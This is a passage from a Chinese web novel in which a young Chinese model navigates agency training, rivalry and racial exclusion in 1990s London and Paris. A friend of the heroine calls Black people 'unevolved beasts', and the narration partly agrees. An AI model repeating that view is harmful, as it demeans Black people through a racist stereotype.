有这两人一块,赵姨和田叔就踏实多了,让他们落地后尽快回个信儿。 飞机缓缓上升,尾翼喷出的白色气体蜿蜒消失在碧蓝天空。 都是第一次坐飞机,田蜜和陈晨一开始还兴奋得不得了,后面累得睡死过去。 长途飞行落地伦敦,下了飞机,这两个一人一个瓜分温苒和霍骁北,紧贴着不敢离远了。 异国他乡,人生地不熟,英语也不会两句,真怕走丢了就是丢了。 先打车去大使馆了解当地情况,白拿一份地图,还用大使馆的电话订了一家酒店。 休整两天后,先去温苒和田蜜申请的大学办理手续。 田蜜提前去预科班报道。 温苒则申请延迟一年入学。 在大学办公室,温苒发现了一册校内发行的杂志,上面列出了几家模特经纪公司的详细信息。 简直就是意外之喜! 温苒当即抄写下来,打算一家一家去试试。 当前国外模特以欧美主流人种为主,毕竟各大服装品牌面向的主要顾客就是这部分群体。 其他人种中,非裔或者黑色人种也占有一席之地。 当然此处的一席之地是确指,活跃在时装周上的知名模特中,黑人面孔极其稀少。 比之黑人模特更加罕见的,是亚裔或者说黄色人种,至今在时装周上难得一见。 这其中,除因为这些服装品牌出自欧美本土主要市场也在欧美本土所以偏好欧美人种模特外,种族歧视也占了不小的原因。 仔细研究过后,温苒发现形式不容乐观。 虽然国外模特行业繁荣,但她想入行,可能真不比在国内简单多少。 第139章 第139章九零国际超模9 在学校附近租了间公寓,温苒和田蜜正式在伦敦落脚。 霍骁北和陈晨帮着打扫卫生、添置家具,在这里停留了两个多月。 期间,四个年轻人还去附近旅游过几次。 陈晨和田蜜操着蹩脚的英语,和乡下农场三岁的女儿很聊得来。 七月中,两人启程去美国报道。 温苒也开启了面试之旅。 按照杂志介绍,伦敦本地比较有能力的模特经纪公司有三家,旗下模特活跃在时装周上,在某权威模特网站上也榜上有名。 大公司资源好,温苒当然首选这三家。 收拾收拾带着简历去面试,一周后面试结束,她一面等待回信,一面继续准备其他口碑不错的公司的面试。 如果都不通过,温苒只能暂时当一名自由模特,在接下来的秋季时装周中一家一家品牌去面试。 可喜可贺的是,温苒一再降低要求,都想实在不行干脆去当试衣模特的时候,接到了三家大公司之一的PL的offer。 更让人意想不到的是,第二天温苒面试过的大多数公司都发来通知,恭喜她被录取! 温苒:“……” 没有选择的时候发愁,选择太多也要发愁。 愁了两秒钟,温苒果断选择第一家公司,并委婉拒绝其他几家。 飞快办理入职后,温苒需要先进行一段时间的模特基本功培训,培训期间没有工资,所幸也不需要交培训费。 但合同上说明,模特需要在有收入后偿还这部分费用。 为了庆祝一只脚踏入行,温苒和田蜜去附近一家餐厅庆祝。 田蜜灌下一杯可乐,畅快地吐出一口长气,问道:“那如果之后没有收入怎么办?培训费应该不便宜吧?” 国外什么都贵,就她们今天这顿饭的消费换成人民币要大几百块了。 温苒点点头,“一般不会有这种情况。PL是英国第一梯队的模特经纪公司,每个月收到的简历多如牛毛,最终录取的都是优中选优的结果。” 就像考大学,长京和长华的生源都是全华国每个省的前百名,好苗子任她们挑,挑完才轮到其他大学。 模特公司也一样。 模特们也都像温苒,投简历先投大公司,没被看上才去其他公司。 除此之外,大公司的经纪人眼光利,她们手上出过不知多少一线模特,面试者有没有天分能不能吃上这碗饭一眼就能看出来。 温苒不本来知道这些,都是在培训班上,同 期进公司的模特同事阿莱西亚告诉她的。 阿莱西亚是意大利人,温苒今年十九岁,她比温苒还小两岁,和温苒一样拥有黑发黑眸,这在欧洲某些地区被认为是不详的特征。 是以刚进公司,温苒和阿莱西亚就被其他同期模特排挤孤立。 但两人之所以熟络起来,还是因为阿莱西亚的鞋子被故意破坏没办法上T台,温苒把自己备用的鞋子借给她。 这之后,一来二去的两人就成了朋友。 培训老师为提高大家的学习热情,经常会分组进行比赛,还说明培训班结束时总分第一名的小组有特殊奖励。 模特中不乏消息灵通的人,据说往年获胜的小组有优先选择经纪人的权利,还会被公司推荐给时装周上各大品牌。 可不要小看公司推荐,没有这个推荐,即便有经纪公司,普通模特也需要一家一家去面试。 大概这和自由模特最大的区别就是:能第一时间得知各大品牌的动向;品牌选用模特时会优先考虑有过培训经历的模特;公司也会提供一些工作。 另外就是对温苒来说最大的好处:如果被拖欠薪水,公司会出面为她讨要。 有胡萝卜吊着,培训班模特都精神振奋,纷纷寻找合适的队友。 温苒和阿莱西亚两个小可怜就凑成了一队。 来自巴西的混血模特莉亚和来自非洲小国的和黑人模特布莱安娜结成小队,这两人在班上表现非常强势,还都爱搞小团体。 上次阿莱西亚的鞋子就是被布莱安娜破坏的。 而莉亚比较针对温苒,但温苒只是神神叨叨给她算了一卦,对她比划了个结印手势,就吓得她再也不敢找温苒麻烦。 课间休息,莉亚和布莱安娜缠着老师不放。 阿莱西亚阴侧侧地瞪着布莱安娜,咬牙切齿道:“她就是仗着这一期只有她一个黑人模特,一定会去时装周,才这么肆无忌惮!” 温苒小口抿着红枣姜糖水,缓解胃里的不适。 当下时尚圈审美畸形,追求零号身材,公司因此要求模特节食,午饭也不能吃。 阿莱西亚说着又气又急,不知想到什么,竟然眼眶一红抽噎起来。 “我个子不高,也不是最瘦的,台步也不好,布莱安娜说等她出道就封杀我,呜呜呜……” 温苒:“……” 温苒放下水杯,无奈安慰她道:“谁跟你说布莱安娜一定会出道?” 阿莱西亚抬起通红眼睛,抽噎道:“她们都这么说,黑珍珠肯娜退出时尚界,现在各大公司都盯紧这个席位,布莱安娜一定会出道。” 黑珍珠,是时尚界对拥有深色皮肤超模的美称。 时尚界总有许多不成文的规定,譬如像黑珍珠只能有一位这种潜规则。 不过照温苒来看,这条规则的成因无外乎还是那两种原因:种族歧视;市场决定。 甚至前者占的比重更大。 黑人模特可以有许多,但黑珍珠只有一位。 只有做到顶尖,拿下这个称呼,才能和其他白人超模相提并论。 阿莱西亚和布莱安娜虽然同为模特,但并不构成竞争。 老实说,温苒这个从未出现过的华人面孔,对布莱安娜讲都比阿莱西亚更有竞争力。 时尚界白人模特才是主流,阿莱西亚的下限说不定就是许多黑人模特的上限。 同样,这句话用在温苒身上也适用。 等培训班结束,阿莱西亚可以轻松接到工作,而温苒和布莱安娜需要付出十倍百倍的努力,才能跟她达到一个起点。 温苒猜测布莱安娜的心理,她不针对自己反而针对不构成竞争的阿莱西亚,嫉妒占了很大因素。 不过怎么说阿莱西亚也是温苒在这里交到的第一个朋友,朋友伤心她不应该为欺负朋友的人开脱。 温苒:“阿莱西亚,你知道布莱安娜为什么针对你吗?” 阿莱西亚冷笑,“还能为什么?黑人都这样,总是毫无缘由地发脾气,没有脑子只会动手,就像没有进化的野兽一样!” 温苒:“……” 你别说,布莱安娜还真这样。 迄今为止,班上所有吵架斗殴事件中,布莱安娜不是始作俑者也脱不了干系。 “咳,那是因为她嫉妒你。” 温苒及时拉回话题,“你没发现吗?班上如果有同学出错,老师只会纠正一次两次,再犯错就完全无视。只有你,只有你每一次犯错老师总会不厌其烦地纠正。” 阿莱西亚愣住,“好、好像是这样。为什么?” 温苒回道:“因为你才是最被公司看好的。” 黑发黑眸意大利风情,极具个人风格,目前模特里应该还没有这一款,只要去时装周露个脸,其他人梦寐以求的广告杂志就会纷至沓来。 布莱安娜一定会出道,但能不能火是个玄学。 而阿莱西亚不仅一定会出道,只要不是特别拉胯,一线模特指日可待,公司就指望她赚大钱。 换言之,阿莱西亚被排挤,是因为其他人感受到了威胁,加上嫉妒她。 温苒被排挤,纯粹是因为同事们歧视她的肤色。 即便温苒表现得再出色,台步完美且有自己的风格,硬照完美看到就让人移不开眼睛,班上其他模特也不会把她当做对手。 大家起点就不一样,温苒再优秀,先爬到她们一条线上再谈竞争。 要知道,迄今为止各大时装周上还没出现过亚洲面孔。 布莱安娜好歹上了桌,温苒连上桌的资格都没有。 至于布莱安娜说的要封杀阿莱西亚更是无稽之谈,封杀那么容易的话,就不是时尚界只能有一位黑珍珠,而是时尚界只能有一位黑人模特了。 阿莱西亚听了温苒的话后,一改自卑懦弱,重拾信心,几次比赛都得到高分。 温苒更是没有哪一次掉出过前三,于是两个被排挤的小可怜组成的小队牢牢霸占第一名。 因此被排挤孤立得更严重。 阿莱西亚已经不在乎这些人的态度了,庸人才不遭人嫉妒。 培训快结束前,阿莱西亚和温苒、田蜜一起出去聚餐。 阿莱西亚对温苒说道:“我知道她们都是怎么看待我们两个的,你之前安慰我,让我不要伤心,我一定会红成为超模。其实我觉得你也是,索菲亚,你很优秀,你是我见过最优秀的模特,比那些成名已久的超模还要优秀!” “曾经时装周上都是白人模特的身影,后来有了黑人模特,有了黑珍珠,以后也一定会出现华人面孔!” “索菲亚!我相信你会是第一个华人超模!” 一段话说完温苒还没怎样,田蜜已经热血沸腾起来,用她那七零八碎的英语表示赞同: “阿莱西亚你真有眼光!世界上就没有我的朋友索菲亚做不到的事情!你看吧!用不了多久她就会走上时装周成为享誉国际的超 模!” 田蜜夸完自家闺蜜,还不忘礼尚往来祝福阿莱西亚财源广进,最后还拜托对方:“阿莱西亚你千万不要忘了我们索菲亚,如果有合适的工作记得介绍给她。” 温苒:“……” 阿莱西亚来英国后交到的第一个朋友就是温苒,温苒还开导她让她醒悟过来,她连连向田蜜保证:“你放心!我不会忘了我的朋友索菲亚的!” 培训班的最后一天,公司经理和培训老师宣布获胜者:“恭喜阿莱西亚和索菲亚!” 培训为期一个月,结束时是八月底,这个时间刚好赶上米兰和巴黎时装周的品牌面试。 而公司给出的获胜奖励却是:伦敦时装周的直通推荐。 伦敦时装周在九月中下旬举办,各品牌通常会提前两个月左右确定模特。 此时距离时装周的第一场秀只有半个月,无特殊情况,没有哪个品牌还未确定模特名单,也没有哪个品牌会临时更换模特。 宣布解散后,经理深深看了眼温苒,“索菲亚,阿莱西亚,跟我走吧,以后我就是你们的经纪人。” 阿莱西亚激动地捂住嘴,同时用力抱紧温苒。 上帝! 竟然是阿米丽! 温苒知道她为什么激动。 阿米丽是经纪人部门的经理,也是公司的元老经纪人,带出过不知道多少超模。 跟阿米丽去她办公室的路上,温苒陷入沉思。 阿米丽据说有很多年没有带新人,这次会出面签下培训班第一名小组,不知道是不是因为阿莱西亚? 如果阿米丽的目标是阿莱西亚,大概率温苒会被‘抛弃’,转给其他经纪人。 温苒开始头疼。 如果连阿米丽都不‘想’带她,那其他经纪人也只会长着同一张嘴。 温苒没前途,带温苒就没钱途。 时尚圈的人势力精明又现实,才不会觉得温苒优秀却怀才不遇就大发善心。 阿莱西亚先被叫进里屋谈话,温苒知道,她会重新签一份合同。 以阿米丽的能力和资源,阿莱西亚的分成应该不会太高。 助理给温苒倒了杯咖啡,温苒道谢后,状似无意打听:“听说公司会推荐获胜小组成员参加伦敦时装周,现在这个时间,还有哪个品牌的模特没有确定吗?” 助理笑了笑,“是Dallarissa,她们的设计师向来吹毛求疵,是个完美主义者,坚持要找匹配服装风格的模特,否则宁愿停办这次的秀。” 温苒心沉了沉。 公司有很多时尚圈相关的杂志书籍,温苒一有空闲就去翻,当然对这位大名鼎鼎的设计师有所了解。 ——他疑似是个种族主义者。 ——证据就是,他接过主设计师的职位后,Dallarissa的秀场上再没出现过黑人模特。 很快,阿莱西亚兴奋地出来,让温苒进去。 阿米丽是个严肃端庄的中年女性,金发绿眸,很有魅力。 阿米丽:“索菲亚,坐。” 温苒道了声谢,在办公桌前的椅子上坐下。 阿米丽双手交叠放在桌上,表情严肃,“索菲亚,时装周上从来没出现过亚洲面孔,但你知道,公司为什么签下你吗?” 这个温苒还真思考过。 她认真回道:“是因为华国市场,华国是个拥有十二亿人口数量的广袤市场,消费潜力巨大。” 阿米丽:“……” 温苒迟疑了,难道不是这个原因? 那还有另外一个:“正是因为时装周上从来没有华国面孔,所以时尚圈需要一张华国面孔。” 就像曾经的黑人模特一样。 亚洲,或者说华国消费市场潜力巨大,时尚圈再怎么排外也不会排钱。 阿米丽:“……” 温苒眨眨眼,难道还不对? 第140章 第140章九零国际超模10 看出了温苒的困惑,阿米丽忽地笑出声来。 温苒:“……” 就算说得不对,也没必要嘲笑吧? 阿米丽摆摆手,“抱歉,我不是在嘲笑你,只是没想到你这么——” 她顿了顿,形容道:“聪明。” 温苒心思飞转,难道她还有机会? 虽说有句老话叫做人不行别怪路不平,但温苒觉得自己挺行,培训老师也觉得她挺行,所以也只能怪环境太恶劣。 温苒面上不动声色,礼貌道谢:“谢谢夸奖。” 阿米丽笑了笑,“你很聪明,你应该知道,空有美貌是走不长远的。” “我很看好阿莱西亚,虽然她没那么聪明,但没关系,她有我这个经纪人。” 温苒听出了她的暗示。 刚刚才夸她聪明,还夸她漂亮,又说阿莱西亚不聪明才需要经纪人,岂不是在告诉她她聪明漂亮所以不需要经纪人? 行叭。 有没有经纪人其实也没那么重要,没有经纪人虽然没有资源,但也没人分自己的钱。 就在温苒冒出来这个想法的下一秒,就见阿米丽从书桌的抽屉里抽出一份合同,“签了吧,你的分成比阿莱西亚高,跟其他人一样。” 温苒:“……” 她翻开合同,视线一条一条划过上面的条款,有些不敢置信。 阿米丽这是在做慈善? 在温苒神游天外时,阿米丽说道:“拉斐尔是个种族主义者,虽没有对外说明,毕竟会影响品牌形象,但他执掌Dallariss后再没用过黑人模特,所以我不建议你去面试他的秀。” “伦敦时装周后马上是米兰和巴黎时装周,据我所知,巴黎时装周的August.F的设计师奥古斯特对华国文化很感兴趣,他本人性格温和友好,曾公开表示反对种族主义。” “我给他打电话说过你的情况,他看过你的照片后,表示十分期待跟你的合作。” 温苒看过合同没什么问题,就签上了自己的名字。 “多谢你,阿米丽,我会把握住这次机会。” 这段时间接二连三的打击,以及扭曲的环境,让温苒的信心一降再降,一份她本应该得到的合同都要怀疑。 温苒在心里自嘲地笑了笑,这也没办法,情况就是这么个情况,放低期待总比让自己失望要好。 August.F是法国的高奢品牌,设计师奥古斯特就是创始人本人,他如今年愈六十,仍然在坚持创作,是个十分高产质量也很高的设计师。 温苒和莉亚等几个模特乘坐同一班飞机飞往巴黎。 而布莱安娜和其余模特则飞往意大利米兰,这个阿莱西亚出身的国家。 据阿莱西亚说,参加完伦敦时装周后,她下一站就会去米兰,接着去巴黎。 米兰和巴黎时装周几乎是前后脚举办,如莉亚等人只能二者择一,只有被录用后才能前往下一站。 阿莱西亚显然有公司力推,出道第一年就要完成三个时装周的打卡露脸成就。 同一个经纪人手下的模特,温苒跟她比就惨多了。 巴黎时装周是四大时装周中历史最久,也是压轴发布的时装周。 落地巴黎后,温苒一刻都顾不上休息,先按照阿米丽给的电话联系奥古斯特助理,确认面试时间。 时间在一周后。 这一周里,莉亚等人早出晚归去面试,每个人都至少手握两个品牌的T台走秀。 薪酬也很可观,每场一千欧元。 这就是签大公司的好处,起点就是时装周,入行就有一千欧元。 温苒告诉自己不急。 钱不钱的她不在乎,她就是想入个行,只要能入行她倒贴钱也愿意。 这天下楼吃晚饭,莉亚和她的小团体在温苒出门时把她堵在门口。 莉亚双手抱胸,居高临下地睨着温苒:“索菲亚,你怎么不跟我们一起去面试?” 温苒:“……” 之前的东方巫术威吓是过期了吧? 见她不说话,其他人你一言我一语地开始冷嘲热讽: “是不是担心不会被录用啊?” “你是不是也知道自己不会被录用,才不去面试啊?” “台步走得好有什么用?你连T台都没资格上!” 莉亚嗤笑:“明明奖励是属于小组两个人的,结果只有阿莱西亚得到了Dallariss的邀请。” “而你,只能躲在酒店里,哪怕你去面试也没有品牌要你!” 温苒面无表情,她还不至于听了这么几句话就生气。 就她现在没着没落的情况,以后碰壁被人嘲讽的地方多着呢。 “说完了吗?” “我要下楼吃饭,你们挡我路了。” 莉亚等人愣了下,反应过来两眼冒火。 就是这种无视的态度,比温苒动怒反驳更让人火大。 温苒推开人要下楼,莉亚伸手拦住她,“你有什么可骄傲神气的?” 温苒同样推开她的手,一脸莫名其妙,“我没有骄傲也没有神气,反而是你们来我面前炫耀的吧?” 莉亚哑然。 温苒已经走远了,莉亚冲着她的背影喊:“识相的你主动离开公司,手下有你这样的模特,阿米丽真是倒了大霉!” 温苒这下明白了,这是嫌她占着位置想取而代之。 光看现在阿莱西亚的发展就知道,阿米丽这个王牌经纪人手上有多少资 源。 和奥古斯特约好面试的当天,温苒拿上简历,抱上礼物,搭配了一身简约却不失优雅的衬衫和半身裙。 奥古斯特的设计风格鲜明,以端庄典雅为主,可繁复可简约,兼具艺术与商业。 温苒到时,奥古斯特正在工作间修改这次要发布的衣服。 助理带她到外间喝咖啡,“老师工作时很讨厌被打扰,不过他很快就会出来。” 外间有个书架,装满了杂志和各种书籍,问过助理后温苒抽出一本静静翻看。 她对于时尚界没那么了解,之前一直都是消费者,现在突然转变成从业者,讯息不发达的年代连上网搜索都办不到。 时尚界还有许多不明说的潜规则,很平常的一件事就可能断送职业生涯,这也是温苒要签公司的原因。 她这个身份容错率本来就低,能不走弯路就不走。 也是时机赶得不巧,最合适温苒的发展路线,其实是先在国内参加模特大赛,和长京的模特公司签约,再到国外发展。 到时她和PL公司就是合作关系,而不是现在这样虽然被录用,也被王牌经纪人阿米丽签约,但处于放养状态。 如果温苒这次错失奥古斯特的机会,她大概会从放养变成半雪藏。 之前和阿米丽那次谈话,签约着实出乎温苒的预料,后来她思考,认为阿米丽对她的态度属于有枣没栆先打一棒子。 抛开其他因素,温苒作为模特的专业能力和独特的个人风格,毫无疑问是有成为超模的潜质的。 打个比方,西方偏爱宝石,东方偏爱翡翠。 温苒就是那块水头极好的翡翠,她晶莹剔透,只是从一开始就不被喜爱宝石的人接受。 阿米丽签下温苒就是在赌,随手为之的赌。 输了她没有损失,但如果赌赢了,温苒就是第一块挤进时尚界的‘翡翠’。 事已至此,温苒只能尽力把握这次机会。 情绪烦躁的奥古斯特走出工作间,余光瞥到鼓捣咖啡机的助理,下意识转身,然后就看到了这样一副画面—— 墨发雪肤的女美人静静靠在沙发上,金色的阳光打在她身上,让她的皮肤晶莹剔透好似闪烁着细碎的光芒。 她浅浅垂眸,散落的发丝轻盈地拂过阳光。 仿佛察觉到被人注视,美人抬头看过来,乌黑的瞳孔像深邃幽寂的夜空,要把对视之人的灵魂深深勾引出来。 温苒并不知道奥古斯特发散了如此多的想法,在感觉到身上出现的视线后,她就站了起来,“早上好,奥古斯特先生。” 奥古斯特没有回答,只是直勾勾盯着她。 助理抱歉地向温苒解释:“老师经常这样,或许是有了新的灵感。” 许是这次的灵感持续时间不长,话音落下,奥古斯特眨了眨眼睛,热情地走过来给了温苒一个拥抱,“早上好,你就是索菲亚?来自华国的女孩儿?” 温苒回身抱起礼物盒子,“这是给您的礼物。” 奥古斯特当场拆开,目光顿时就定住了。 他小心翼翼捧出瓷瓶,瓷瓶小巧修长,长颈细口通体雪白,触手温润细腻。 就和温苒给奥古斯特的感觉一样,高贵典雅,温润内敛。 “太美了!” 奥古斯特对瓷瓶爱不释手,他邀请温苒进工作间试衣服,等温苒出来就看到,他伏案修改图纸的同时,还握着瓷瓶不撒手。 助理呆愣愣走上来,直勾勾看着温苒,欣喜地向她解释:“老师有一个名为‘月’的系列设计,修改数次都不满意,你的礼物给了他启发。” 温苒低头看自己身上的裙子,“这件设计来自‘月’系列?” 助理含笑点头,“索菲亚你刚才出来吓我一跳,老师一定会满意你上身的效果。” 温苒沉吟思考。 看奥古斯特的态度,她被录用几乎是板上钉钉。 那是不是可以再争取一下? A.F有高定线,每年的高定发布秀深受时尚界瞩目,如果她能登台,时尚界的大门才会对她敞开。 虽然可能只是敞开半扇。 听到两人的谈话声,奥古斯特放下笔转头看过来,情不自禁喊起了上帝。 他松开了一直握着的瓷瓶,像被勾魂一样踱步过来,“索菲亚,明年你一定要来我的高定秀!你会惊艳所有人!” 温苒心下讶异,不需要她争取,奥古斯特就主动邀请了? 但她其实有些摸不准他的话有几分可信。 在经历连番打击和明晃晃的无处不在的歧视后,温苒感觉自己失去了基本的判断力。 除了明显的恶意她能分辨出来,那种当面对你笑背后扎你刀的事情经历太多,导致温苒现在被夸一句,总要先分析一下话的真伪。 尤其像现在,奥古斯特说的很可能就是场面话。 以至于温苒本来想争取,现在再开口有点像蹬鼻子上脸。 确定了两条长裙由温苒来表现,她回到酒店,需要后天再去试衣。 酒店前台亲切问候温苒,等温苒一转身,就开始翻白眼。 他们不知道,电梯能反光,温苒能看到。 也许他们知道,但不在乎温苒看到后什么想法。 回到房间,温苒扑到大床上找霍骁北聊天。 在不正常的环境里待久了,温苒需要跟正常人对话。 田蜜的情况比她还差,田蜜心思迟钝,也不存事,预科班里同学孤立嘲笑她,她就用中文骂回去。 还振振有词,反正那些人也听不懂,反正她毕业就回国,以后也不在这边混。 但即便如此,田蜜也会经常怀疑自己。 温苒倒不会怀疑自己,也不在乎别人的歧视,更不会让自己吃亏,她只是没办法适应这个扭曲的环境。【你现在阅读的是 】 140-144 第141章 第141章九零国际超模11 试衣结束后,温苒在巴黎的工作也就暂时结束。 A.F发布秀前一周会组织模特彩排,到那时温苒才需要再次飞巴黎。 米兰时装周还在招模特,莉亚等人直接飞过去,温苒却回了伦敦。 奥古斯特希望她保持神秘感,一定要在他的秀上第一次出现。 当然,他给出的薪酬也很丰厚。 但温苒之所以答应这个要求,是因为这老头明确发出了邀请,他的‘月’系列将会重新制作,同系列还有‘日’和‘星辰’,作为明年一月份的高定设计发布。 奥古斯特在时尚界地位非同一般,和这样一位设计师交好,甚至于和他的品牌绑定,对温苒未来的发展有利无害。 回到伦敦,温苒先去公司报道,并告知阿米丽的助理下一次飞巴黎的时间,到时公司统一订机票。 值得一提的是,差旅费不报销,后续要从模特收入中扣除。 某些品牌名下有自己的酒店,被录用的模特在时装周期间可以免费入住。 但像这次温苒去巴黎面试 ,酒店费用也是她自己承担。 温苒正要离开,阿米丽的助理叫住她,“索菲亚,不去米兰试试吗?” 阿米丽在米兰带阿莱西亚刷casting,新人不适合频繁露脸,据陪同去巴黎的工作人员说,阿莱西亚走的要么是超一线蓝血品牌,要么就是热度很高的一线品牌。 期间还发生了小插曲。 布莱安娜因为嫉妒阿莱西亚,在她的房间放虫子,因此被严厉警告,并禁止她参加今年的时装周。 米兰和巴黎两地的工作进度随时有工作人员沟通。 但当温苒拿到机会,向工作人员索要阿米丽的联系方式时,却被严肃拒绝。 就连回程的机票,因为和莉亚等人不是同一个航班,工作人员都拒绝帮温苒订票。 温苒无法,只能等回到伦敦告诉阿米丽的助理,再由助理向阿米丽汇报。 也就是说,目前为止,除了温苒和奥古斯特工作室的员工,其他人并不知道具体情况。 恰好这时办公室的电话响了,助理匆忙接通,说了两句就把话筒交给温苒,“是阿米丽,问你在巴黎的情况。” 温苒三言两语做出总结,电话那边阿米丽沉默了。 温苒想了想说道:“奥古斯特只是口头邀请我参加他的高定秀,但我想,我需要赌一把。” 阿米丽张了张嘴想说什么,话到嘴边咽下去,她改口说道:“明天我要陪阿莱西亚去巴黎,下周日回伦敦,我们见面讲。” 挂掉电话,助理惊讶到失神,拔高声音道:“所以索菲亚你现在是奥古斯特的御用模特?!” 温苒:“……” 那倒也没有,御用模特太夸张。 御用模特虽然听着很厉害,但实际上和品牌深度绑定,并不利于模特的职业发展。 同为奢侈品牌,能在时尚界占有一席之地的,拎出来都有值得说道的地方。 因此高傲是这些品牌的共性。 也因此时尚界具有很强的排他性。 但也有例外。 A.F是超一线品牌,和这个级别的品牌深度绑定反而有利于模特发展。 可偏偏温苒是第一个登上时装周的华人面孔,一出现就和A.F深度绑定才是把路走窄了。 温苒要的可不是什么御用模特,以后只能和某个品牌合作,一旦她变了风格或者设计师的喜好变了就要被抛弃。 她要像公司为阿莱西亚打造的目标一样,成为时尚界追捧的超一线模特。 听起来很难,但不树个目标努力起来怎么有动力? 田蜜为练习口语,在学校超市勤工建旭做收银员,要比往常推迟两个小时回公寓。 温苒订了一堆外卖等她,门铃却突然响了。 她竖起耳朵确认没有听错,踢着拖鞋走到玄关,透过猫眼向外看去。 “霍骁北!” 温苒拉开门扑到男人身上,仰起脸分外惊喜,“你怎么来了?学校没课吗?” 霍骁北抬手抚过她的头发,单手抱起她往里走,沙哑的嗓音含着笑意:“导师出差,有两天假期。” 他当然不会说,因为担心她所以向导师请假。 霍骁北留学的学校毕业条件严苛,申请的导师也是出名的严格,脾气还不好,嘴也毒,据说有学生因此患上抑郁症。 温苒每次跟霍骁北聊天,他不是在图书馆就是在机房。 霍骁北先冲了个澡,出来就撸起袖子进了厨房。 温苒像个小尾巴跟在他身后,叽叽喳喳地问他在学校怎么样,跟他讲这段时间的经历。 田蜜下班回来,开门就看到这俩人腻歪地靠在沙发上看电视,再深吸一口久违的饭菜香气,一时间还以为眼花了。 “北哥你不是在美国?” 温苒:“导师给他们放了两天假,他只待一天,明天傍晚就走。” 田蜜摸不着头脑。 钱多烧得慌啊,就两天假还专门飞过来,不过她终于能吃到正常饭菜了! 霍骁北虽然只待了一天,但这一天都没闲着。 第二天起床后他和温苒逛商场,买回来的东西处理成简单易操作的半成品。 两个冰箱全部装满,足够吃半个月,时间再长不健康。 剩下半个月,温苒就用系统包裹里的东西解馋。 霍骁北再来伦敦最早也要一个月以后,再就是两个月后的期末考试周前有一周空闲时间,他可以过来边复习边陪媳妇儿。 忙活一个上午,中午饭都推迟了两个小时,吃完直奔机场。 送霍骁北登机后,温苒打车去公司,请阿米丽的助理帮她找到A.F品牌的相关资料,在休息间看到晚饭时间,之后拿回公寓继续研究。 时光飞逝,转眼到伦敦时装周的前一周。 Dallariss的秀开始彩排。 阿米丽带阿莱西亚回到伦敦。 温苒接到阿米丽的电话,明天上午去公司。 阿米丽:“在巴黎我见到奥古斯特老先生,他对你很欣赏,也是真心实意邀请你参加他的高定秀。” 是欣赏,而不是满意。 阿米丽都分外出乎意料,奥古斯特对温苒赞不绝口,甚至若有似无地表示他从温苒身上获得了许多灵感。 实在不可思议。 挂掉电话,温苒嘴角弯弯地翘起,哼着不知什么曲调继续翻杂志。 翻了两页,她把杂志丢到一旁,打开系统聊天界面,告诉霍骁北这个好消息。 霍骁北几乎是秒回:意料之中,理所应当,奥古斯特很有眼光。 温苒高兴地扑进沙发,男人嘛,不仅要找长得顺眼的,还要找会说话的,不然要他做什么? 翌日到阿米丽办公室,比约定的时间晚了二十分钟阿米丽才姗姗来迟。 阿米丽:“抱歉,索菲亚,刚才在开会。” 她坐到办公桌后,神情略显疲惫,“我替你向公司申请了一个助理,她叫莉莉,是我大学的学妹,之后你工作上的事情都可以交代她。” 温苒想了想,这是给她安排了一个实习经纪人? 她也确实需要一个,以后工作变多,许多事情只靠她自己会手忙脚乱。 而且,可以想见阿米丽的工作重心会一直在阿莱西亚那边。 阿米丽捏了捏眉心,“登上奥古斯特的秀只是第一步,你不要得意忘形,最近这段时间好好练练基本功,保持身材和状态,你应该也不想被莉亚看笑话。” 温苒眨巴眨巴眼睛,“莉亚也要走A.F的秀?” 阿米丽顿了顿,忽地笑了:“你总是那么聪明,你很聪明你应该也知道,莉亚是莉亚,你是你,不要在乎这些人的冷嘲热讽。” 温苒战术性喝咖啡,她从来就没把这些人当回事,她们本来就是不同的赛道。 Dallariss的秀是伦敦时装周的第一场秀,在伦敦具有百年历史的城堡内举办。 发布秀上,作为新人登场的阿莱西亚惊艳在场所有人,媒体记者纷纷把镜头和闪光灯对准这位意大利美人。 温苒有看报纸的习惯,最近又添了个读杂志的爱好。 发布秀的第二天,报纸版面上都是阿莱西亚走到T台终点的定点照片。 田蜜把报纸翻得哗啦啦响,“看不出来,阿莱西亚在T台上这么有魅力?” 温苒点点头,公司不是吃干饭的,是不是好苗子在这行经营这么多年的人能不知道? 田蜜叹气,“不过,真不公平。” 有些人起点就是Dallariss,还被各大报纸争相报道,堪称一夜成名,不是蓝血红血品牌还看不上。 有些人要十分努力,完了才发现自己努力的结果刚刚是别人的起点。 温苒看得开,“这是人家的圈子,想要公平,以后办我们自己的品牌,办我们自己的时装周。” 田蜜泄气地趴到沙发上,“好难啊,我现在连课本都看不明白呢。” 温苒问她:“我给你的那些课本呢?看那个就行。” 田蜜挠挠头,“不是来这边留学么?商场那么多花里胡哨的衣服,我 寻思这边的课本教得更时髦。” 温苒:“……” 理论来说如此,但这不还有例外吗? “我给你找的这个独家课本,中外都有,我们做自己的品牌,应该让华国文化走向世界。” 田蜜若有所思地呆了片刻,然后一拍大腿,“那可太好了!我觉得咱们自己的书比国外的书讲得好多了!” 伦敦时装周结束后,紧接着就是米兰时装周,阿莱西亚的表现依旧出色。 温苒和实习经纪人莉莉出发去巴黎,参加A.F发布秀的彩排。 据莉莉讲,已经有顶级时尚杂志邀请阿莱西亚登封,Dallariss正在跟公司谈代言。 模特排名网站上,刚出道的阿莱西亚正在飞速上升,进入前一百名。 超一线品牌代言,顶级杂志开年封,只要在时装周上多露露脸,阿莱西亚进入前十名不要太轻松。 落地巴黎后,温苒和莉莉去A.F旗下酒店办理入住。 两人等电梯上楼,巧的是,电梯门开,莉亚从里面出来。 她挡在温苒面前,嫉妒的眼神落在温苒身上。 温苒不客气地推开她,“莉亚,你不要总是挡路。” 莉亚被推得一个踉跄,她死死盯着温苒的背影,“你不会每次都这么好运!” 温苒走进电梯,转身微笑挥手,“你应该没听过那句话吧?人越怕什么就越来什么,借你吉言啦!” 莉亚气得鼻子险些歪了。 电梯里,一旁莉莉憋着笑,“索菲亚,你惹恼了莉亚,当心她给你使绊子。” 布莱安娜给阿莱西亚床上放虫子这种事在模特中间司空见惯,更过分的手段不是没有,放虫子都只是小儿科。 在鞋子里放图钉、故意破坏衣服、彩排的时候往T台上丢玻璃球…… 可不要以为是在夸大其词危言耸听,因为模特们是真的能干出来。 要知道,模特出道的年纪一般都是十几岁。 欧美人种早熟,十四五岁身高外貌就已经很像成年人了。 温苒十九岁的年纪,要不是有人种优势,脸嫩显年轻,她连公司都进不了。 而十四五岁左右,这个年龄不论中外都是读书的年纪,外表成熟不代表心智成熟。 一群心智不成熟,也没读过多少书的女孩踏入时尚圈这个扭曲的环境中后,被同化被异化是理所当然的。 